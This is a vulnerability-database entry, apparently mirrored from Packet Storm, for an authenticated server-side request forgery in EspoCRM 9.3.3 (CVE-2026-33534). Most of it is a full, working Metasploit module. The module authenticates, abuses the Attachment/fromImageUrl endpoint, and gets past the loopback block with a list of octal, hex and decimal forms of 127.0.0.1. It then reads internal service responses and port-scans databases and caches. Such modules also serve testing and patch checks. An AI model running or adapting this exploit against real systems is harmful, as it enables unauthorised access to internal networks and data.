Lucene search
K

📄 EspoCRM 9.3.3 Server-Side Request Forgery

🗓️ 17 Jun 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 33 Views

Authenticated server side forgery in EspoCRM 9.3.3 via Attachment/fromImageUrl allows fetching remote images.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Server-Side Request Forgery in Espocrm
8 May 202617:22
githubexploit
ATTACKERKB
CVE-2026-33534
13 Apr 202619:20
attackerkb
Circl
CVE-2026-33534
8 May 202614:59
circl
CNNVD
EspoCRM 代码问题漏洞
13 Apr 202600:00
cnnvd
CVE
CVE-2026-33534
13 Apr 202619:20
cve
Cvelist
CVE-2026-33534 EspoCRM has authenticated SSRF via internal-host validation bypass using alternative IPv4 notation
13 Apr 202619:20
cvelist
Exploit DB
EspoCRM 9.3.3 - SSRF
27 May 202600:00
exploitdb
EUVD
EUVD-2026-22079
13 Apr 202619:20
euvd
Nuclei
EspoCRM <= 9.3.3 - Server-Side Request Forgery
3 Jul 202603:01
nuclei
NVD
CVE-2026-33534
13 Apr 202620:16
nvd
Rows per page
==================================================================================================================================
    | # Title     : EspoCRM 9.3.3 SSRF via Alternative IPv4 Notation                                                                 |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://www.espocrm.com/                                                                                         |
    ==================================================================================================================================
    
    [+] Summary    :   an authenticated Server Side Request Forgery vulnerability in EspoCRM versions up to 9.3.3. 
                       The vulnerability exists in the Attachment/fromImageUrl API endpoint which allows users to fetchimages from remote URLs.
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Scanner
      include Msf::Auxiliary::Report
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'EspoCRM Authenticated SSRF via Alternative IPv4 Notation',
            'Description' => %q{
              This module exploits an authenticated Server-Side Request Forgery (SSRF)
              vulnerability in EspoCRM versions up to 9.3.3. The vulnerability exists
              in the Attachment/fromImageUrl API endpoint which allows users to fetch
              images from remote URLs. By using alternative IPv4 notations (octal, hex,
              decimal, short formats), an attacker can bypass the loopback address
              restrictions and make requests to internal services.
    
              Successful exploitation allows reading internal service responses,
              scanning internal ports, and potentially accessing sensitive internal
              endpoints that are not exposed to the internet.
    
              Tested on EspoCRM 9.3.3 with PHP 7.4 and Apache.
            },
            'Author' => ['indoushka'],
            'References' => [
              ['CVE', '2026-33534'],
              ['URL', 'https://github.com/espocrm/espocrm/security/advisories/GHSA-h7gx-8gwv-7g73'],
              ['URL', 'https://github.com/espocrm/espocrm/releases/tag/9.3.3']
            ],
            'License' => MSF_LICENSE,
            'DefaultOptions' => {
              'RPORT' => 8083,
              'SSL' => false
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
        register_options([
          OptString.new('TARGETURI', [true, 'Base EspoCRM path', '/']),
          OptString.new('USERNAME', [true, 'EspoCRM username']),
          OptString.new('PASSWORD', [true, 'EspoCRM password']),
          OptString.new('INTERNAL_HOST', [false, 'Internal host to target (default: 127.0.0.1)']),
          OptInt.new('INTERNAL_PORT', [false, 'Internal port to target']),
          OptString.new('INTERNAL_PATH', [false, 'Internal path to request', '/']),
          OptString.new('FIELD', [false, 'Attachment field used by fromImageUrl', 'avatar']),
          OptString.new('PARENT_TYPE', [false, 'Parent entity type', 'User']),
          OptString.new('PARENT_ID', [false, 'Optional parent entity ID']),
          OptBool.new('CLEANUP', [false, 'Delete created attachments', false]),
          OptInt.new('TIMEOUT', [false, 'HTTP timeout in seconds', 15])
        ])
        @ssrf_payloads = [
          { name: 'octal_dotted', host: '0177.0.0.1' },
          { name: 'octal_dotted_padded', host: '0177.0000.0000.0001' },
          { name: 'octal_compressed', host: '0177.1' },
          { name: 'hex_dotted', host: '0x7f.0.0.1' },
          { name: 'hex_dotted_full', host: '0x7f.0x0.0x0.0x1' },
          { name: 'hex_dword', host: '0x7f000001' },
          { name: 'decimal_dword', host: '2130706433' },
          { name: 'octal_dword', host: '017700000001' },
          { name: 'short_ipv4_two_part', host: '127.1' },
          { name: 'short_ipv4_three_part', host: '127.0.1' },
          { name: 'zero_padded_dotted', host: '127.000.000.001' },
          { name: 'long_zero_padded_octal', host: '0000000000000000000000000177.0.0.1' }
        ]
      end
      def login
        print_status("Authenticating to EspoCRM at #{target_url}")
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api/v1/App/user'),
          'ctype' => 'application/json',
          'data' => {
            'username' => datastore['USERNAME'],
            'password' => datastore['PASSWORD']
          }.to_json
        )
        unless res && res.code == 200
          print_error("Authentication failed. Check credentials.")
          return nil
        end
        begin
          json = res.get_json_document
          token = json['token']
          if token
            print_good("Authentication successful")
            return token
          end
        rescue JSON::ParserError
          print_error("Failed to parse authentication response")
        end
        nil
      end
      def make_authenticated_request(token, uri, host, port, path, method = 'POST', data = nil)
        ssrf_host = host
        ssrf_port = port
        internal_url = "http://#{ssrf_host}"
        internal_url += ":#{ssrf_port}" if ssrf_port && ssrf_port != 80
        internal_url += path
        payload = {
          'url' => internal_url,
          'field' => datastore['FIELD'],
          'parentType' => datastore['PARENT_TYPE']
        }
        if datastore['PARENT_ID']
          payload['parentId'] = datastore['PARENT_ID']
        end
        send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api/v1/Attachment/fromImageUrl'),
          'ctype' => 'application/json',
          'headers' => {
            'Authorization' => token,
            'Accept' => 'application/json'
          },
          'data' => payload.to_json
        )
      end
      def delete_attachment(token, attachment_id)
        send_request_cgi(
          'method' => 'DELETE',
          'uri' => normalize_uri(target_uri.path, "api/v1/Attachment/#{attachment_id}"),
          'headers' => {
            'Authorization' => token,
            'Accept' => 'application/json'
          }
        )
      end
      def check_internal_service(token, host, port, path)
        print_status("Testing internal service at #{host}:#{port}#{path}")
        res = make_authenticated_request(token, nil, host, port, path)
        unless res
          print_error("No response from SSRF request")
          return nil
        end
        if res.code == 200
          begin
            json = res.get_json_document
            if json && json['id']
              print_good("Successfully accessed internal service via SSRF!")
              print_status("  Attachment ID: #{json['id']}")
              print_status("  File Type: #{json['type']}")
              print_status("  Size: #{json['size']} bytes")
              return { 'id' => json['id'], 'type' => json['type'], 'size' => json['size'] }
            end
          rescue JSON::ParserError
            print_good("SSRF request succeeded (non-JSON response)")
            return { 'id' => nil, 'response' => res.body }
          end
        else
          print_error("SSRF request failed: HTTP #{res.code}")
          print_status("Response: #{res.body[0..200]}") if res.body
        end
        nil
      end
      def check_direct_loopback(token)
        print_status("Testing direct loopback (should be blocked)")
        internal_port = datastore['INTERNAL_PORT'] || datastore['RPORT']
        internal_path = datastore['INTERNAL_PATH'] || '/'
        res = make_authenticated_request(token, nil, '127.0.0.1', internal_port, internal_path)
        if res && res.code == 403
          print_good("Direct loopback correctly blocked (HTTP 403)")
          return true
        elsif res && res.code == 200
          print_warning("Direct loopback was NOT blocked! This suggests the target is not vulnerable or already patched differently.")
          return false
        else
          print_status("Direct loopback returned HTTP #{res&.code || 'no response'}")
          return false
        end
      end
      def scan_internal_ports(token, host, ports, path)
        print_status("Starting internal port scan on #{host}")
        open_ports = []
        ports.each do |port|
          print_status("  Testing port #{port}")
          res = make_authenticated_request(token, nil, host, port, path)
          if res
            if res.code == 200 || res.code == 201 || res.code == 204
              print_good("    Port #{port} is OPEN (HTTP #{res.code})")
              open_ports << port
            elsif res.code == 403 || res.code == 404
              print_status("    Port #{port} - HTTP #{res.code} (service may be listening but blocked)")
            else
              print_status("    Port #{port} - HTTP #{res.code}")
            end
          else
            print_status("    Port #{port} - No response (likely closed/filtered)")
          end
        end
        open_ports
      end
      def read_internal_response(token, host, port, path)
        print_status("Reading internal response from #{host}:#{port}#{path}")
        res = make_authenticated_request(token, nil, host, port, path)
        if res
          print_status("Response received:")
          print_line(res.body) if res.body && !res.body.empty?
          return res.body
        end
        nil
      end
      def run_host(ip)
        print_status("Starting EspoCRM SSRF scan against #{peer}")
        token = login
        unless token
          print_error("Authentication failed. Cannot proceed.")
          return
        end
        loopback_blocked = check_direct_loopback(token)
        unless loopback_blocked
          print_warning("Direct loopback not blocked. SSRF may not be exploitable with alternative notations.")
        end
        internal_host = datastore['INTERNAL_HOST'] || '127.0.0.1'
        internal_port = datastore['INTERNAL_PORT'] || datastore['RPORT']
        internal_path = datastore['INTERNAL_PATH'] || '/'
        print_status("Testing #{@ssrf_payloads.length} alternative IPv4 notations")
        successes = []
        @ssrf_payloads.each do |payload|
          print_status("Testing payload: #{payload[:name]} -> #{payload[:host]}")
          result = check_internal_service(token, payload[:host], internal_port, internal_path)
          if result
            success_info = {
              'name' => payload[:name],
              'host' => payload[:host],
              'attachment_id' => result['id'],
              'type' => result['type'],
              'size' => result['size']
            }
            successes << success_info
            print_good("  SUCCESS! Payload #{payload[:name]} bypassed restrictions")
            if datastore['CLEANUP'] && result['id']
              print_status("  Cleaning up attachment #{result['id']}")
              delete_attachment(token, result['id'])
            end
            if datastore['StopOnFirst']
              print_status("Stopping after first successful payload (--stop-on-first)")
              break
            end
          end
        end
        if successes.empty?
          print_error("No SSRF payloads succeeded. Target may not be vulnerable.")
          return
        end
        print_good("Vulnerability confirmed! Found #{successes.length} working payload(s)")
        successes.each do |success|
          print_status("  - #{success['name']}: #{success['host']} -> attachment #{success['attachment_id']}")
        end
        print_status("Attempting to read internal service response...")
        read_internal_response(token, internal_host, internal_port, internal_path)
        if internal_host == '127.0.0.1'
          print_status("Localhost detected - offering internal port scan")
          ports_to_scan = datastore['PORTS'] || [80, 443, 8080, 8083, 3306, 5432, 6379, 9200, 27017]
          open_ports = scan_internal_ports(token, internal_host, ports_to_scan, internal_path)
          unless open_ports.empty?
            print_good("Found #{open_ports.length} open internal port(s): #{open_ports.join(', ')}")
            report_note(
              host: ip,
              port: datastore['RPORT'],
              type: 'espocrm_ssrf_ports',
              data: open_ports,
              update: :unique_data
            )
          end
        end
        report_vuln(
          host: ip,
          port: datastore['RPORT'],
          name: name,
          refs: references,
          info: "EspoCRM SSRF via alternative IPv4 notation (#{successes.length} payloads succeeded)"
        )
      end
      def target_url
        proto = (datastore['SSL'] ? 'https' : 'http')
        host = datastore['RHOST']
        port = datastore['RPORT']
        "#{proto}://#{host}:#{port}"
      end
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Jun 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 3.14.3
EPSS0.01978
SSVC
33